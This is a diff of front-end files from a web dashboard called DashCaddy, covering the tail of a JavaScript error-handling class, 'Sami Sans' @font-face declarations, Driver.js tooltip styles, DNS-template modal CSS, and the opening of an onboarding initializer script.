stats.byContext[error.context] = (stats.byContext[error.context] || 0) + 1;
|
stats.byContext[error.context] = (stats.byContext[error.context] || 0) + 1;
|
||||||
|
|
||||||
// Count by type
|
// Count by type
|
||||||
const type = this.classifyError({ message: error.message });
|
const type = this.classifyError({ message: error.message });
|
||||||
stats.byType[type] = (stats.byType[type] || 0) + 1;
|
stats.byType[type] = (stats.byType[type] || 0) + 1;
|
||||||
});
|
});
|
||||||
|
|
||||||
return stats;
|
return stats;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Handle graceful degradation when Driver.js fails to load
|
* Handle graceful degradation when Driver.js fails to load
|
||||||
* @returns {boolean} Whether fallback was successful
|
* @returns {boolean} Whether fallback was successful
|
||||||
*/
|
*/
|
||||||
handleDriverLoadFailure() {
|
handleDriverLoadFailure() {
|
||||||
this.logError('Driver.js Load Failure', 'Driver.js library failed to load');
|
this.logError('Driver.js Load Failure', 'Driver.js library failed to load');
|
||||||
|
|
||||||
// Show fallback message
|
// Show fallback message
|
||||||
const fallbackMessage = document.createElement('div');
|
const fallbackMessage = document.createElement('div');
|
||||||
fallbackMessage.id = 'onboarding-fallback';
|
fallbackMessage.id = 'onboarding-fallback';
|
||||||
fallbackMessage.style.cssText = `
|
fallbackMessage.style.cssText = `
|
||||||
position: fixed;
|
position: fixed;
|
||||||
bottom: 20px;
|
bottom: 20px;
|
||||||
right: 20px;
|
right: 20px;
|
||||||
background: var(--card-base, #2a2a2a);
|
background: var(--card-base, #2a2a2a);
|
||||||
color: var(--fg, #ffffff);
|
color: var(--fg, #ffffff);
|
||||||
padding: 15px 20px;
|
padding: 15px 20px;
|
||||||
border-radius: 8px;
|
border-radius: 8px;
|
||||||
box-shadow: 0 4px 12px rgba(0,0,0,0.3);
|
box-shadow: 0 4px 12px rgba(0,0,0,0.3);
|
||||||
z-index: 9999;
|
z-index: 9999;
|
||||||
max-width: 300px;
|
max-width: 300px;
|
||||||
font-size: 14px;
|
font-size: 14px;
|
||||||
`;
|
`;
|
||||||
fallbackMessage.innerHTML = `
|
fallbackMessage.innerHTML = `
|
||||||
<strong>Welcome to DashCaddy!</strong><br>
|
<strong>Welcome to DashCaddy!</strong><br>
|
||||||
<p style="margin: 10px 0 0 0; font-size: 12px;">
|
<p style="margin: 10px 0 0 0; font-size: 12px;">
|
||||||
The interactive tour is unavailable, but you can explore the dashboard freely.
|
The interactive tour is unavailable, but you can explore the dashboard freely.
|
||||||
Check the documentation for help getting started.
|
Check the documentation for help getting started.
|
||||||
</p>
|
</p>
|
||||||
`;
|
`;
|
||||||
|
|
||||||
document.body.appendChild(fallbackMessage);
|
document.body.appendChild(fallbackMessage);
|
||||||
|
|
||||||
// Auto-remove after 10 seconds
|
// Auto-remove after 10 seconds
|
||||||
setTimeout(() => {
|
setTimeout(() => {
|
||||||
if (fallbackMessage.parentNode) {
|
if (fallbackMessage.parentNode) {
|
||||||
fallbackMessage.parentNode.removeChild(fallbackMessage);
|
fallbackMessage.parentNode.removeChild(fallbackMessage);
|
||||||
}
|
}
|
||||||
}, 10000);
|
}, 10000);
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Handle storage unavailable scenario
|
* Handle storage unavailable scenario
|
||||||
* @returns {Object} In-memory storage fallback
|
* @returns {Object} In-memory storage fallback
|
||||||
*/
|
*/
|
||||||
handleStorageUnavailable() {
|
handleStorageUnavailable() {
|
||||||
this.logError('Storage Unavailable', 'Local storage is not available');
|
this.logError('Storage Unavailable', 'Local storage is not available');
|
||||||
|
|
||||||
// Create in-memory storage
|
// Create in-memory storage
|
||||||
const memoryStorage = {
|
const memoryStorage = {
|
||||||
data: {},
|
data: {},
|
||||||
getItem(key) {
|
getItem(key) {
|
||||||
return this.data[key] || null;
|
return this.data[key] || null;
|
||||||
},
|
},
|
||||||
setItem(key, value) {
|
setItem(key, value) {
|
||||||
this.data[key] = value;
|
this.data[key] = value;
|
||||||
},
|
},
|
||||||
removeItem(key) {
|
removeItem(key) {
|
||||||
delete this.data[key];
|
delete this.data[key];
|
||||||
},
|
},
|
||||||
clear() {
|
clear() {
|
||||||
this.data = {};
|
this.data = {};
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
console.warn('[ErrorHandler] Using in-memory storage - progress will not persist');
|
console.warn('[ErrorHandler] Using in-memory storage - progress will not persist');
|
||||||
return memoryStorage;
|
return memoryStorage;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Send error to tracking service (placeholder)
|
* Send error to tracking service (placeholder)
|
||||||
* @private
|
* @private
|
||||||
* @param {Object} errorEntry - Error entry to send
|
* @param {Object} errorEntry - Error entry to send
|
||||||
*/
|
*/
|
||||||
sendToErrorTracking(errorEntry) {
|
sendToErrorTracking(errorEntry) {
|
||||||
// Placeholder for error tracking integration
|
// Placeholder for error tracking integration
|
||||||
// Could integrate with Sentry, LogRocket, etc.
|
// Could integrate with Sentry, LogRocket, etc.
|
||||||
// Example:
|
// Example:
|
||||||
// if (window.Sentry) {
|
// if (window.Sentry) {
|
||||||
// Sentry.captureException(new Error(errorEntry.message), {
|
// Sentry.captureException(new Error(errorEntry.message), {
|
||||||
// extra: errorEntry.metadata
|
// extra: errorEntry.metadata
|
||||||
// });
|
// });
|
||||||
// }
|
// }
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
window.ErrorHandler = ErrorHandler;
|
window.ErrorHandler = ErrorHandler;
|
||||||
console.log('[ErrorHandler] Module loaded');
|
console.log('[ErrorHandler] Module loaded');
|
||||||
|
|
||||||
})(window);
|
})(window);
|
||||||
|
|||||||
@@ -1,91 +1,91 @@
|
|||||||
/* Sami Sans Font Family - External CSS */
|
/* Sami Sans Font Family - External CSS */
|
||||||
|
|
||||||
@font-face {
|
@font-face {
|
||||||
font-family: 'Sami Sans';
|
font-family: 'Sami Sans';
|
||||||
src: url('fonts/SamiSans-Regular.woff2') format('woff2'),
|
src: url('fonts/SamiSans-Regular.woff2') format('woff2'),
|
||||||
url('fonts/SamiSans-Regular.ttf') format('truetype');
|
url('fonts/SamiSans-Regular.ttf') format('truetype');
|
||||||
font-weight: 400;
|
font-weight: 400;
|
||||||
font-style: normal;
|
font-style: normal;
|
||||||
font-display: swap;
|
font-display: swap;
|
||||||
}
|
}
|
||||||
|
|
||||||
@font-face {
|
@font-face {
|
||||||
font-family: 'Sami Sans';
|
font-family: 'Sami Sans';
|
||||||
src: url('fonts/SamiSans-Regular.woff2') format('woff2'),
|
src: url('fonts/SamiSans-Regular.woff2') format('woff2'),
|
||||||
url('fonts/SamiSans-Italic.ttf') format('truetype');
|
url('fonts/SamiSans-Italic.ttf') format('truetype');
|
||||||
font-weight: 400;
|
font-weight: 400;
|
||||||
font-style: italic;
|
font-style: italic;
|
||||||
font-display: swap;
|
font-display: swap;
|
||||||
}
|
}
|
||||||
|
|
||||||
@font-face {
|
@font-face {
|
||||||
font-family: 'Sami Sans';
|
font-family: 'Sami Sans';
|
||||||
src: url('fonts/SamiSans-Medium.woff2') format('woff2'),
|
src: url('fonts/SamiSans-Medium.woff2') format('woff2'),
|
||||||
url('fonts/SamiSans-Medium.ttf') format('truetype');
|
url('fonts/SamiSans-Medium.ttf') format('truetype');
|
||||||
font-weight: 500;
|
font-weight: 500;
|
||||||
font-style: normal;
|
font-style: normal;
|
||||||
font-display: swap;
|
font-display: swap;
|
||||||
}
|
}
|
||||||
|
|
||||||
@font-face {
|
@font-face {
|
||||||
font-family: 'Sami Sans';
|
font-family: 'Sami Sans';
|
||||||
src: url('fonts/SamiSans-SemiBold.woff2') format('woff2'),
|
src: url('fonts/SamiSans-SemiBold.woff2') format('woff2'),
|
||||||
url('fonts/SamiSans-SemiBold.ttf') format('truetype');
|
url('fonts/SamiSans-SemiBold.ttf') format('truetype');
|
||||||
font-weight: 600;
|
font-weight: 600;
|
||||||
font-style: normal;
|
font-style: normal;
|
||||||
font-display: swap;
|
font-display: swap;
|
||||||
}
|
}
|
||||||
|
|
||||||
@font-face {
|
@font-face {
|
||||||
font-family: 'Sami Sans';
|
font-family: 'Sami Sans';
|
||||||
src: url('fonts/SamiSans-Bold.woff2') format('woff2'),
|
src: url('fonts/SamiSans-Bold.woff2') format('woff2'),
|
||||||
url('fonts/SamiSans-Bold.ttf') format('truetype');
|
url('fonts/SamiSans-Bold.ttf') format('truetype');
|
||||||
font-weight: 700;
|
font-weight: 700;
|
||||||
font-style: normal;
|
font-style: normal;
|
||||||
font-display: swap;
|
font-display: swap;
|
||||||
}
|
}
|
||||||
|
|
||||||
@font-face {
|
@font-face {
|
||||||
font-family: 'Sami Sans';
|
font-family: 'Sami Sans';
|
||||||
src: url('fonts/SamiSans-ExtraBold.woff2') format('woff2'),
|
src: url('fonts/SamiSans-ExtraBold.woff2') format('woff2'),
|
||||||
url('fonts/SamiSans-ExtraBold.ttf') format('truetype');
|
url('fonts/SamiSans-ExtraBold.ttf') format('truetype');
|
||||||
font-weight: 800;
|
font-weight: 800;
|
||||||
font-style: normal;
|
font-style: normal;
|
||||||
font-display: swap;
|
font-display: swap;
|
||||||
}
|
}
|
||||||
|
|
||||||
@font-face {
|
@font-face {
|
||||||
font-family: 'Sami Sans';
|
font-family: 'Sami Sans';
|
||||||
src: url('fonts/SamiSans-Black.woff2') format('woff2'),
|
src: url('fonts/SamiSans-Black.woff2') format('woff2'),
|
||||||
url('fonts/SamiSans-Black.ttf') format('truetype');
|
url('fonts/SamiSans-Black.ttf') format('truetype');
|
||||||
font-weight: 900;
|
font-weight: 900;
|
||||||
font-style: normal;
|
font-style: normal;
|
||||||
font-display: swap;
|
font-display: swap;
|
||||||
}
|
}
|
||||||
|
|
||||||
@font-face {
|
@font-face {
|
||||||
font-family: 'Sami Sans';
|
font-family: 'Sami Sans';
|
||||||
src: url('fonts/SamiSans-Light.woff2') format('woff2'),
|
src: url('fonts/SamiSans-Light.woff2') format('woff2'),
|
||||||
url('fonts/SamiSans-Light.ttf') format('truetype');
|
url('fonts/SamiSans-Light.ttf') format('truetype');
|
||||||
font-weight: 300;
|
font-weight: 300;
|
||||||
font-style: normal;
|
font-style: normal;
|
||||||
font-display: swap;
|
font-display: swap;
|
||||||
}
|
}
|
||||||
|
|
||||||
@font-face {
|
@font-face {
|
||||||
font-family: 'Sami Sans';
|
font-family: 'Sami Sans';
|
||||||
src: url('fonts/SamiSans-ExtraLight.woff2') format('woff2'),
|
src: url('fonts/SamiSans-ExtraLight.woff2') format('woff2'),
|
||||||
url('fonts/SamiSans-ExtraLight.ttf') format('truetype');
|
url('fonts/SamiSans-ExtraLight.ttf') format('truetype');
|
||||||
font-weight: 200;
|
font-weight: 200;
|
||||||
font-style: normal;
|
font-style: normal;
|
||||||
font-display: swap;
|
font-display: swap;
|
||||||
}
|
}
|
||||||
|
|
||||||
@font-face {
|
@font-face {
|
||||||
font-family: 'Sami Sans';
|
font-family: 'Sami Sans';
|
||||||
src: url('fonts/SamiSans-Thin.woff2') format('woff2'),
|
src: url('fonts/SamiSans-Thin.woff2') format('woff2'),
|
||||||
url('fonts/SamiSans-Thin.ttf') format('truetype');
|
url('fonts/SamiSans-Thin.ttf') format('truetype');
|
||||||
font-weight: 100;
|
font-weight: 100;
|
||||||
font-style: normal;
|
font-style: normal;
|
||||||
font-display: swap;
|
font-display: swap;
|
||||||
}
|
}
|
||||||
|
|||||||
+354
-354
@@ -1,354 +1,354 @@
|
|||||||
/**
|
/**
|
||||||
* Onboarding Tooltip Styles
|
* Onboarding Tooltip Styles
|
||||||
* Custom styling for Driver.js tooltips to match DashCaddy theme
|
* Custom styling for Driver.js tooltips to match DashCaddy theme
|
||||||
*/
|
*/
|
||||||
|
|
||||||
/* Driver.js overrides are injected dynamically by ThemeAdapter */
|
/* Driver.js overrides are injected dynamically by ThemeAdapter */
|
||||||
/* This file contains additional custom styles */
|
/* This file contains additional custom styles */
|
||||||
|
|
||||||
.driver-popover {
|
.driver-popover {
|
||||||
max-width: 500px !important;
|
max-width: 500px !important;
|
||||||
z-index: 10000 !important;
|
z-index: 10000 !important;
|
||||||
}
|
}
|
||||||
|
|
||||||
.driver-popover-title {
|
.driver-popover-title {
|
||||||
font-size: 1.2rem !important;
|
font-size: 1.2rem !important;
|
||||||
margin-bottom: 12px !important;
|
margin-bottom: 12px !important;
|
||||||
}
|
}
|
||||||
|
|
||||||
.driver-popover-description {
|
.driver-popover-description {
|
||||||
font-size: 0.95rem !important;
|
font-size: 0.95rem !important;
|
||||||
line-height: 1.6 !important;
|
line-height: 1.6 !important;
|
||||||
}
|
}
|
||||||
|
|
||||||
.driver-popover-description p {
|
.driver-popover-description p {
|
||||||
margin: 8px 0 !important;
|
margin: 8px 0 !important;
|
||||||
}
|
}
|
||||||
|
|
||||||
.driver-popover-description ul {
|
.driver-popover-description ul {
|
||||||
margin: 8px 0 !important;
|
margin: 8px 0 !important;
|
||||||
padding-left: 20px !important;
|
padding-left: 20px !important;
|
||||||
}
|
}
|
||||||
|
|
||||||
.driver-popover-description li {
|
.driver-popover-description li {
|
||||||
margin: 4px 0 !important;
|
margin: 4px 0 !important;
|
||||||
}
|
}
|
||||||
|
|
||||||
.driver-popover-description code {
|
.driver-popover-description code {
|
||||||
background: rgba(0, 0, 0, 0.1) !important;
|
background: rgba(0, 0, 0, 0.1) !important;
|
||||||
padding: 2px 6px !important;
|
padding: 2px 6px !important;
|
||||||
border-radius: 3px !important;
|
border-radius: 3px !important;
|
||||||
font-family: 'Courier New', monospace !important;
|
font-family: 'Courier New', monospace !important;
|
||||||
font-size: 0.9em !important;
|
font-size: 0.9em !important;
|
||||||
}
|
}
|
||||||
|
|
||||||
.driver-popover-footer {
|
.driver-popover-footer {
|
||||||
margin-top: 16px !important;
|
margin-top: 16px !important;
|
||||||
display: flex !important;
|
display: flex !important;
|
||||||
gap: 8px !important;
|
gap: 8px !important;
|
||||||
justify-content: flex-end !important;
|
justify-content: flex-end !important;
|
||||||
}
|
}
|
||||||
|
|
||||||
.driver-popover-footer button {
|
.driver-popover-footer button {
|
||||||
padding: 8px 16px !important;
|
padding: 8px 16px !important;
|
||||||
border-radius: 8px !important;
|
border-radius: 8px !important;
|
||||||
font-size: 0.9rem !important;
|
font-size: 0.9rem !important;
|
||||||
cursor: pointer !important;
|
cursor: pointer !important;
|
||||||
transition: all 0.2s ease !important;
|
transition: all 0.2s ease !important;
|
||||||
}
|
}
|
||||||
|
|
||||||
.driver-popover-footer button:hover {
|
.driver-popover-footer button:hover {
|
||||||
transform: translateY(-1px) !important;
|
transform: translateY(-1px) !important;
|
||||||
}
|
}
|
||||||
|
|
||||||
.driver-popover-close-btn {
|
.driver-popover-close-btn {
|
||||||
position: absolute !important;
|
position: absolute !important;
|
||||||
top: 12px !important;
|
top: 12px !important;
|
||||||
right: 12px !important;
|
right: 12px !important;
|
||||||
width: 24px !important;
|
width: 24px !important;
|
||||||
height: 24px !important;
|
height: 24px !important;
|
||||||
border-radius: 50% !important;
|
border-radius: 50% !important;
|
||||||
display: flex !important;
|
display: flex !important;
|
||||||
align-items: center !important;
|
align-items: center !important;
|
||||||
justify-content: center !important;
|
justify-content: center !important;
|
||||||
cursor: pointer !important;
|
cursor: pointer !important;
|
||||||
opacity: 0.6 !important;
|
opacity: 0.6 !important;
|
||||||
transition: opacity 0.2s ease !important;
|
transition: opacity 0.2s ease !important;
|
||||||
}
|
}
|
||||||
|
|
||||||
.driver-popover-close-btn:hover {
|
.driver-popover-close-btn:hover {
|
||||||
opacity: 1 !important;
|
opacity: 1 !important;
|
||||||
}
|
}
|
||||||
|
|
||||||
.driver-popover-arrow {
|
.driver-popover-arrow {
|
||||||
border-width: 8px !important;
|
border-width: 8px !important;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Progress indicator */
|
/* Progress indicator */
|
||||||
.driver-popover-progress-text {
|
.driver-popover-progress-text {
|
||||||
font-size: 0.85rem !important;
|
font-size: 0.85rem !important;
|
||||||
margin-bottom: 8px !important;
|
margin-bottom: 8px !important;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Mobile responsive */
|
/* Mobile responsive */
|
||||||
@media (max-width: 768px) {
|
@media (max-width: 768px) {
|
||||||
.driver-popover {
|
.driver-popover {
|
||||||
max-width: calc(100vw - 32px) !important;
|
max-width: calc(100vw - 32px) !important;
|
||||||
}
|
}
|
||||||
|
|
||||||
.driver-popover-title {
|
.driver-popover-title {
|
||||||
font-size: 1.1rem !important;
|
font-size: 1.1rem !important;
|
||||||
}
|
}
|
||||||
|
|
||||||
.driver-popover-description {
|
.driver-popover-description {
|
||||||
font-size: 0.9rem !important;
|
font-size: 0.9rem !important;
|
||||||
}
|
}
|
||||||
|
|
||||||
.driver-popover-footer button {
|
.driver-popover-footer button {
|
||||||
padding: 6px 12px !important;
|
padding: 6px 12px !important;
|
||||||
font-size: 0.85rem !important;
|
font-size: 0.85rem !important;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Restart tour button in dashboard */
|
/* Restart tour button in dashboard */
|
||||||
#restart-tour-btn {
|
#restart-tour-btn {
|
||||||
display: inline-flex;
|
display: inline-flex;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
gap: 6px;
|
gap: 6px;
|
||||||
}
|
}
|
||||||
|
|
||||||
#restart-tour-btn::before {
|
#restart-tour-btn::before {
|
||||||
content: "🎓";
|
content: "🎓";
|
||||||
font-size: 1.1em;
|
font-size: 1.1em;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/* DNS Template Selector Modal */
|
/* DNS Template Selector Modal */
|
||||||
.dns-template-modal {
|
.dns-template-modal {
|
||||||
display: none;
|
display: none;
|
||||||
position: fixed;
|
position: fixed;
|
||||||
top: 0;
|
top: 0;
|
||||||
left: 0;
|
left: 0;
|
||||||
right: 0;
|
right: 0;
|
||||||
bottom: 0;
|
bottom: 0;
|
||||||
background: rgba(0, 0, 0, 0.8);
|
background: rgba(0, 0, 0, 0.8);
|
||||||
z-index: 10000;
|
z-index: 10000;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
justify-content: center;
|
justify-content: center;
|
||||||
padding: 20px;
|
padding: 20px;
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-modal-content {
|
.dns-template-modal-content {
|
||||||
background: var(--card-base);
|
background: var(--card-base);
|
||||||
border-radius: 12px;
|
border-radius: 12px;
|
||||||
max-width: 900px;
|
max-width: 900px;
|
||||||
width: 100%;
|
width: 100%;
|
||||||
max-height: 90vh;
|
max-height: 90vh;
|
||||||
overflow-y: auto;
|
overflow-y: auto;
|
||||||
box-shadow: 0 8px 32px rgba(0, 0, 0, 0.4);
|
box-shadow: 0 8px 32px rgba(0, 0, 0, 0.4);
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-header {
|
.dns-template-header {
|
||||||
padding: 30px;
|
padding: 30px;
|
||||||
border-bottom: 1px solid var(--border);
|
border-bottom: 1px solid var(--border);
|
||||||
position: relative;
|
position: relative;
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-header h2 {
|
.dns-template-header h2 {
|
||||||
margin: 0 0 10px 0;
|
margin: 0 0 10px 0;
|
||||||
color: var(--fg);
|
color: var(--fg);
|
||||||
font-size: 28px;
|
font-size: 28px;
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-header p {
|
.dns-template-header p {
|
||||||
margin: 0;
|
margin: 0;
|
||||||
color: var(--fg-muted);
|
color: var(--fg-muted);
|
||||||
font-size: 14px;
|
font-size: 14px;
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-close {
|
.dns-template-close {
|
||||||
position: absolute;
|
position: absolute;
|
||||||
top: 20px;
|
top: 20px;
|
||||||
right: 20px;
|
right: 20px;
|
||||||
background: none;
|
background: none;
|
||||||
border: none;
|
border: none;
|
||||||
font-size: 32px;
|
font-size: 32px;
|
||||||
color: var(--fg-muted);
|
color: var(--fg-muted);
|
||||||
cursor: pointer;
|
cursor: pointer;
|
||||||
padding: 0;
|
padding: 0;
|
||||||
width: 40px;
|
width: 40px;
|
||||||
height: 40px;
|
height: 40px;
|
||||||
display: flex;
|
display: flex;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
justify-content: center;
|
justify-content: center;
|
||||||
border-radius: 50%;
|
border-radius: 50%;
|
||||||
transition: all 0.2s;
|
transition: all 0.2s;
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-close:hover {
|
.dns-template-close:hover {
|
||||||
background: var(--hover);
|
background: var(--hover);
|
||||||
color: var(--fg);
|
color: var(--fg);
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-grid {
|
.dns-template-grid {
|
||||||
display: grid;
|
display: grid;
|
||||||
grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
|
grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
|
||||||
gap: 20px;
|
gap: 20px;
|
||||||
padding: 30px;
|
padding: 30px;
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-card {
|
.dns-template-card {
|
||||||
background: var(--card-hover);
|
background: var(--card-hover);
|
||||||
border: 2px solid var(--border);
|
border: 2px solid var(--border);
|
||||||
border-radius: 12px;
|
border-radius: 12px;
|
||||||
padding: 20px;
|
padding: 20px;
|
||||||
transition: all 0.3s;
|
transition: all 0.3s;
|
||||||
position: relative;
|
position: relative;
|
||||||
display: flex;
|
display: flex;
|
||||||
flex-direction: column;
|
flex-direction: column;
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-card:hover {
|
.dns-template-card:hover {
|
||||||
transform: translateY(-4px);
|
transform: translateY(-4px);
|
||||||
box-shadow: 0 8px 16px rgba(0, 0, 0, 0.2);
|
box-shadow: 0 8px 16px rgba(0, 0, 0, 0.2);
|
||||||
border-color: var(--accent);
|
border-color: var(--accent);
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-card.recommended {
|
.dns-template-card.recommended {
|
||||||
border-color: var(--accent);
|
border-color: var(--accent);
|
||||||
background: linear-gradient(135deg, var(--card-hover) 0%, var(--card-base) 100%);
|
background: linear-gradient(135deg, var(--card-hover) 0%, var(--card-base) 100%);
|
||||||
}
|
}
|
||||||
|
|
||||||
.recommended-badge {
|
.recommended-badge {
|
||||||
position: absolute;
|
position: absolute;
|
||||||
top: -10px;
|
top: -10px;
|
||||||
right: 20px;
|
right: 20px;
|
||||||
background: var(--accent);
|
background: var(--accent);
|
||||||
color: white;
|
color: white;
|
||||||
padding: 4px 12px;
|
padding: 4px 12px;
|
||||||
border-radius: 12px;
|
border-radius: 12px;
|
||||||
font-size: 11px;
|
font-size: 11px;
|
||||||
font-weight: bold;
|
font-weight: bold;
|
||||||
text-transform: uppercase;
|
text-transform: uppercase;
|
||||||
letter-spacing: 0.5px;
|
letter-spacing: 0.5px;
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-icon {
|
.dns-template-icon {
|
||||||
font-size: 48px;
|
font-size: 48px;
|
||||||
margin-bottom: 15px;
|
margin-bottom: 15px;
|
||||||
text-align: center;
|
text-align: center;
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-card h3 {
|
.dns-template-card h3 {
|
||||||
margin: 0 0 10px 0;
|
margin: 0 0 10px 0;
|
||||||
color: var(--fg);
|
color: var(--fg);
|
||||||
font-size: 18px;
|
font-size: 18px;
|
||||||
text-align: center;
|
text-align: center;
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-description {
|
.dns-template-description {
|
||||||
color: var(--fg-muted);
|
color: var(--fg-muted);
|
||||||
font-size: 13px;
|
font-size: 13px;
|
||||||
margin: 0 0 15px 0;
|
margin: 0 0 15px 0;
|
||||||
text-align: center;
|
text-align: center;
|
||||||
flex-grow: 1;
|
flex-grow: 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-difficulty {
|
.dns-template-difficulty {
|
||||||
display: inline-block;
|
display: inline-block;
|
||||||
padding: 4px 12px;
|
padding: 4px 12px;
|
||||||
border-radius: 12px;
|
border-radius: 12px;
|
||||||
font-size: 11px;
|
font-size: 11px;
|
||||||
font-weight: bold;
|
font-weight: bold;
|
||||||
text-align: center;
|
text-align: center;
|
||||||
margin: 0 auto 15px auto;
|
margin: 0 auto 15px auto;
|
||||||
}
|
}
|
||||||
|
|
||||||
.difficulty-easy {
|
.difficulty-easy {
|
||||||
background: #2ecc71;
|
background: #2ecc71;
|
||||||
color: white;
|
color: white;
|
||||||
}
|
}
|
||||||
|
|
||||||
.difficulty-intermediate {
|
.difficulty-intermediate {
|
||||||
background: #f39c12;
|
background: #f39c12;
|
||||||
color: white;
|
color: white;
|
||||||
}
|
}
|
||||||
|
|
||||||
.difficulty-advanced {
|
.difficulty-advanced {
|
||||||
background: #e74c3c;
|
background: #e74c3c;
|
||||||
color: white;
|
color: white;
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-features {
|
.dns-template-features {
|
||||||
list-style: none;
|
list-style: none;
|
||||||
padding: 0;
|
padding: 0;
|
||||||
margin: 0 0 20px 0;
|
margin: 0 0 20px 0;
|
||||||
font-size: 12px;
|
font-size: 12px;
|
||||||
color: var(--fg-muted);
|
color: var(--fg-muted);
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-features li {
|
.dns-template-features li {
|
||||||
padding: 6px 0;
|
padding: 6px 0;
|
||||||
padding-left: 20px;
|
padding-left: 20px;
|
||||||
position: relative;
|
position: relative;
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-features li:before {
|
.dns-template-features li:before {
|
||||||
content: "✓";
|
content: "✓";
|
||||||
position: absolute;
|
position: absolute;
|
||||||
left: 0;
|
left: 0;
|
||||||
color: var(--accent);
|
color: var(--accent);
|
||||||
font-weight: bold;
|
font-weight: bold;
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-select-btn {
|
.dns-template-select-btn {
|
||||||
background: var(--accent);
|
background: var(--accent);
|
||||||
color: white;
|
color: white;
|
||||||
border: none;
|
border: none;
|
||||||
padding: 12px 20px;
|
padding: 12px 20px;
|
||||||
border-radius: 8px;
|
border-radius: 8px;
|
||||||
font-size: 14px;
|
font-size: 14px;
|
||||||
font-weight: bold;
|
font-weight: bold;
|
||||||
cursor: pointer;
|
cursor: pointer;
|
||||||
transition: all 0.2s;
|
transition: all 0.2s;
|
||||||
width: 100%;
|
width: 100%;
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-select-btn:hover {
|
.dns-template-select-btn:hover {
|
||||||
background: var(--accent-strong);
|
background: var(--accent-strong);
|
||||||
transform: scale(1.02);
|
transform: scale(1.02);
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-footer {
|
.dns-template-footer {
|
||||||
padding: 20px 30px;
|
padding: 20px 30px;
|
||||||
border-top: 1px solid var(--border);
|
border-top: 1px solid var(--border);
|
||||||
text-align: center;
|
text-align: center;
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-later-btn {
|
.dns-template-later-btn {
|
||||||
background: transparent;
|
background: transparent;
|
||||||
color: var(--fg-muted);
|
color: var(--fg-muted);
|
||||||
border: 1px solid var(--border);
|
border: 1px solid var(--border);
|
||||||
padding: 10px 24px;
|
padding: 10px 24px;
|
||||||
border-radius: 8px;
|
border-radius: 8px;
|
||||||
font-size: 14px;
|
font-size: 14px;
|
||||||
cursor: pointer;
|
cursor: pointer;
|
||||||
transition: all 0.2s;
|
transition: all 0.2s;
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-later-btn:hover {
|
.dns-template-later-btn:hover {
|
||||||
background: var(--hover);
|
background: var(--hover);
|
||||||
color: var(--fg);
|
color: var(--fg);
|
||||||
border-color: var(--fg-muted);
|
border-color: var(--fg-muted);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Responsive design */
|
/* Responsive design */
|
||||||
@media (max-width: 768px) {
|
@media (max-width: 768px) {
|
||||||
.dns-template-grid {
|
.dns-template-grid {
|
||||||
grid-template-columns: 1fr;
|
grid-template-columns: 1fr;
|
||||||
}
|
}
|
||||||
|
|
||||||
.dns-template-modal-content {
|
.dns-template-modal-content {
|
||||||
max-height: 95vh;
|
max-height: 95vh;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+177
-177
@@ -1,177 +1,177 @@
|
|||||||
/**
|
/**
|
||||||
* DashCaddy User Onboarding System
|
* DashCaddy User Onboarding System
|
||||||
* Main entry point for the tooltip-based onboarding experience
|
* Main entry point for the tooltip-based onboarding experience
|
||||||
*
|
*
|
||||||
* This file initializes the onboarding system and coordinates between
|
* This file initializes the onboarding system and coordinates between
|
||||||
* the various components (TourManager, ProgressTracker, ThemeAdapter, etc.)
|
* the various components (TourManager, ProgressTracker, ThemeAdapter, etc.)
|
||||||
*/
|
*/
|
||||||
|
|
||||||
(function() {
|
(function() {
|
||||||
'use strict';
|
'use strict';
|
||||||
|
|
||||||
let progressTracker;
|
let progressTracker;
|
||||||
let themeAdapter;
|
let themeAdapter;
|
||||||
let tourManager;
|
let tourManager;
|
||||||
let dnsTemplateSelector;
|
let dnsTemplateSelector;
|
||||||
let errorHandler;
|
let errorHandler;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Initialize the onboarding system
|
* Initialize the onboarding system
|
||||||
*/
|
*/
|
||||||
async function initializeOnboarding() {
|
async function initializeOnboarding() {
|
||||||
try {
|
try {
|
||||||
console.log('[Onboarding] Initializing system...');
|
console.log('[Onboarding] Initializing system...');
|
||||||
|
|
||||||
// Initialize Error Handler first
|
// Initialize Error Handler first
|
||||||
errorHandler = new ErrorHandler();
|
errorHandler = new ErrorHandler();
|
||||||
console.log('[Onboarding] Error Handler initialized');
|
